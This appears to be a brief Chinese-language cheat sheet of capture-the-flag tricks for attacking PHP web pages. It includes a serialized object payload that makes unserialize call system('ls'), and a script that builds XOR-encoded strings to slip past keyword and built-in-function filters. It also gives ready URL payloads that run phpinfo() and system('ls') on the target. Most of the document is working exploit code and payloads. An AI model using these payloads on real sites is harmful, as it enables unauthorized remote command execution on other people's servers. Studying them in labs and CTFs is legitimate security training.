页面空空如也时
抓包
入参为两个时,很可能一个是表示函数,另一个表示函数的参数
可以使用file_get_contents(index.php)查看页面源码
源码函数很多,无从下手时,尝试反序列化,下面这段代码可以直接放在phpstudy的www文件目录下,启动phpstudy后,直接打开localhost/xxx.php
<?php
class Test{
var $p="ls";
var $func="system";
}
$a=new Test();
echo serialize($a);
?>
反序列化后得到O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";},将其作为函数unserialize的参数,发送包
页面有源码
源码里面过滤关键字符,同时过滤了php的内置函数
使用脚本生成异或取反字符
<?php
$payload = '_GET';
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
$flag=0;
for ($i = 128; $i < 256; $i++) {
for ($j = 128; $j < 256; $j++) {
if ((chr($i) ^ chr($j)) === $payload[$l]) {
echo urlencode(chr($i));
$a=$a.urlencode(chr($i));
echo '^';
echo urlencode(chr($j));
$b=$b.urlencode(chr($j));
echo '=' . $payload[$l];
echo "<br>";
$flag=1;
break;
}
}
if($flag===1){
break;
}
}
}
echo $a.'^'.$b;
_GET
用脚本生成的结果是%80%80%80%80^%DF%C7%C5%D4
phpinfo()
在URL中写成?code=${%80%80%80%80^%DF%C7%C5%D4}{e}()&e=phpinfo
system("ls")
?code=${%80%80%80%80^%DF%C7%C5%D4}{e}(${%80%80%80%80^%DF%C7%C5%D4}{v})&e=system&v=ls